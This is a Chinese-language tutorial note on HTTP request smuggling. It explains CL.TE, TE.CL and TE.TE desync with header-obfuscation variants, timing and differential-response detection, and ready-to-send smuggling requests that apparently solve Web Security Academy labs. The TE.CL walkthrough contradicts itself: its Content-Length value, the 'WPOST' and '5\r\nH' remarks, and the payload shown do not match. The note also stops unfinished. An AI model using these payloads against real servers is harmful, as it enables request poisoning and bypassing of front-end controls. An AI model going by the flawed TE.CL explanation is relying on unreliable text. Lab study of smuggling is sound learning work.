Keep-Alive&Pipeline#

HTTP1.1中使用最为广泛的两种特性

​ 所谓Keep-Alive，就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive，告诉服务器，接收完这次HTTP请求后，不要关闭TCP链接，后面对相同目标服务器的HTTP请求，重用这一个TCP链接，这样只需要进行一次TCP握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。当然，这个特性在HTTP1.1中是默认开启的。

​ 有了Keep-Alive之后，后续就有了Pipeline，在这里呢，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。

​ 如今，浏览器默认是不启用Pipeline的，但是一般的服务器都提供了对Pipleline的支持。

CL&TE#

Content-Length（CL）

• 通过数值指定消息体的字节数。
• 格式：Content-Length: <number>

Transfer-Encoding（TE）

• 支持分块传输编码
• 格式：Transfer-Encoding: chunked
• 块格式：[chunk-size][\r\n][chunk-data][\r\n]
• 结束块：0[\r\n][\r\n]

​ CL好理解，对于TE我们重点关注chunked。

• 优先级问题： 当我们设置TE为chunked时，CL就会被省略。
• 边界组成问题：
  • 长度： 每个chunk前面用16进制数来表示当前chunk的长度
  • chunk部分： 后面加上\r\n，再后面就是chunk的内容，然后再用\r\n来代表chunk的结束——\r\n 内容 \r\n
  • 终止块： 最后用长度为 0 的块表示终止块
  • 签名存放： 终止块后是一个 trailer，由 0 或多个实体头组成，可以用来存放对数据的数字签名等 例子

1
POST / HTTP/1.1
2
Host: example.com
3
Content-Type: application/x-www-form-urlencoded
4
Transfer-Encoding: chunked
5

6
b  //chunk_size
7
q=smuggling
8
6
9
hahaha
10
0  //end
11
[blank]
12
[blank]

另外要注意\r\n占2字节，我们在计算长度的时候很容易把它们忽略。最后把请求包以字节流形式表述出来就是：

1
POST / HTTP/1.1\r\nHost: 1.com\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding: chunked\r\n\r\nb\r\nq=smuggling\r\n6\r\nhahaha\r\n0\r\n\r\n

关键头部字段#

CLTE#

所谓CL TE就是前置服务器认为 Content-Length 优先级更高（或者说根本就不支持 Transfer-Encoding ） ，后端服务器认为 Transfer-Encoding 优先级更高

这种攻击利用了前端服务器使用Content-Length而后端服务器使用Transfer-Encoding的解析差异。

• 前端服务器仅处理Content-Length头部，将请求体视为指定长度的数据
• 后端服务器优先处理Transfer-Encoding头部，将请求体解析为分块传输的数据
• 攻击者构造的请求体中包含另一个完整的HTTP请求，被后端服务器视为单独的请求

例如：

1
POST / HTTP/1.1
2
Host: example.com
3
Content-Length: 13
4
Transfer-Encoding: chunked
5

6
0
7

8
SMUGGLED REQ

• 前端服务器：使用Content-Length: 13，认为请求体结束于第13个字节（“0\r\n\r\nSMU”）
• 后端服务器：使用Transfer-Encoding: chunked，解析到”0\r\n\r\n”后认为第一个请求结束，将”GGLED REQ”视为新的请求

例题 这个想通关的话，可以直接套用上边的模板（抓包到的方法是GET，修改为POST；注意要通过Inspector修改HTTP协议，从2改到1.1，因为HTTP/2无法请求走私）得到

1
POST / HTTP/1.1
2
Host: 0ab0002503847486819ae370000b0025.web-security-academy.net
3
Connection: keep-alive
4
Content-Type: application/x-www-form-urlencoded
5
Content-Length: 8
6
Transfer-Encoding: chunked
7

8
0
9

10
G

请求两次即可得到Unrecognized method GPOST回复。

• 第一次完成走私
  • 前端服务器根据 Content-Length: 8 只读取前 8 个字节（0\r\n\r\nG），认为请求体结束，将这部分转发给后端
  • 后端服务器根据 Transfer-Encoding: chunked 解析，读到 0\r\n\r\n 就认为当前请求结束，剩下的 G 被留在后端的连接缓冲区里，作为下一个请求的开头
• 第二次触发错误
  • 发送的第二个正常请求（比如 POST / HTTP/1.1 ...）到达后端时，会和缓冲区里的 G 拼接在一起
  • 后端会把拼接后的内容解析为一个新的请求行：GPOST / HTTP/1.1，从而识别出一个不存在的方法 GPOST，于是返回 Unrecognized method GPOST 错误 正常一步步测试的做法后续在专门的通关记录中写

TECL#

这种攻击利用了前端服务器使用Transfer-Encoding而后端服务器使用Content-Length的解析差异。

• 前端服务器处理Transfer-Encoding头部，将请求体解析为分块数据
• 后端服务器忽略Transfer-Encoding（可能由于格式问题），转而使用Content-Length
• 攻击者在块数据中隐藏额外的请求，被后端服务器错误处理 例如

1
POST / HTTP/1.1
2
Host: YOUR-LAB-ID.web-security-academy.net
3
Content-Type: application/x-www-form-urlencoded
4
Content-length: 4
5
Transfer-Encoding: chunked
6

7
5c
8
GPOST / HTTP/1.1
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 15
11

12
x=1
13
0

• 前端服务器：使用Transfer-Encoding，解析到”0\r\n\r\n”后认为请求结束
• 后端服务器：忽略Transfer-Encoding（可能由于空格或其他格式问题），使用Content-Length: 4，将前4个字节视为请求体（“5\r\nH”），剩余部分可能影响后续请求 例题

1
POST / HTTP/1.1
2
Host: 0a67001203a8b60f81e3483a00c900ed.web-security-academy.net
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 103
5
Transfer-Encoding: chunked
6

7
5c
8
GPOST / HTTP/1.1
9

10
0

重复请求之后可以看到WPOST被拆分了出来，重点关注body部分

1
\r\n
2
5c\r\n
3
GPOST / HTTP/1.1\r\n
4
\r\n
5
0\r\n
6
\r\n

前端处理TE读取到0\r\n\r\n之后就认为读取完毕发送给后端，而后端处理CL只读取4字节\r\n12就认为数据包结束，这时候剩下的WPOST / HTTP/1.1\r\n\r\n0\r\n\r\n就被认为是另一个请求，因此发生了请求报错。

TETE#

前置和后端服务器都支持 Transfer-Encoding，但通过混淆能让它们在处理时产生分歧。 而混淆的方法无穷无尽。

1
Transfer-Encoding: xchunked
2

3
Transfer-Encoding : chunked
4

5
Transfer-Encoding: chunked
6
Transfer-Encoding: x
7

8
Transfer-Encoding:[tab]chunked
9

10
[space]Transfer-Encoding: chunked
11

12
X: X[\n]Transfer-Encoding: chunked
13

14
Transfer-Encoding
15
: chunked

模板

1
POST / HTTP/1.1
2
Host: YOUR-LAB-ID.web-security-academy.net
3
Content-Type: application/x-www-form-urlencoded
4
Content-length: 4
5
Transfer-Encoding: chunked
6
Transfer-encoding: cow
7

8
5c
9
GPOST / HTTP/1.1
10
Content-Type: application/x-www-form-urlencoded
11
Content-Length: 15
12

13
x=1
14
0

例题 也不难

1
POST / HTTP/1.1\r\n
2
Host: 0a4400b2043b046c8046d51c009b00dd.web-security-academy.net\r\n
3
Content-Type: application/x-www-form-urlencoded\r\n
4
Content-Length: 4\r\n
5
Transfer-Encoding: chunked\r\n
6
Transfer-encoding: cow\r\n
7
\r\n
8
5c\r\n
9
GPOST / HTTP/1.1\r\n
10
Content-Type: application/x-www-form-urlencoded\r\n
11
Content-Length: 15\r\n
12
\r\n
13
x=1\r\n
14
0\r\n
15
\r\n

然后请求两次就可以出现Unrecognized method GPOST

利用计时#

1
POST / HTTP/1.1
2
Host: vulnerable-website.com
3
Transfer-Encoding: chunked
4
Content-Length: 4
5

6
1
7
A
8
X

1
POST / HTTP/1.1
2
Host: vulnerable-website.com
3
Transfer-Encoding: chunked
4
Content-Length: 6
5

6
0
7

8
X

使用差异化响应#

1
POST /search HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 11
5

6
q=smuggling

1
POST /search HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 49
5
Transfer-Encoding: chunked
6

7
e
8
q=smuggling&x=
9
0
10

11
GET /404 HTTP/1.1
12
Foo: x

1
GET /404 HTTP/1.1
2
Foo: xPOST /search HTTP/1.1
3
Host: vulnerable-website.com
4
Content-Type: application/x-www-form-urlencoded
5
Content-Length: 11
6

7
q=smuggling

1
POST /search HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 4
5
Transfer-Encoding: chunked
6

7
7c
8
GET /404 HTTP/1.1
9
Host: vulnerable-website.com
10
Content-Type: application/x-www-form-urlencoded
11
Content-Length: 144
12

13
x=
14
0

1
GET /404 HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 146
5

6
x=
7
0
8

9
POST /search HTTP/1.1
10
Host: vulnerable-website.com
11
Content-Type: application/x-www-form-urlencoded
12
Content-Length: 11
13

14
q=smuggling

绕过前端安全控制#

有点燃尽，休息一会儿继续写，后面补全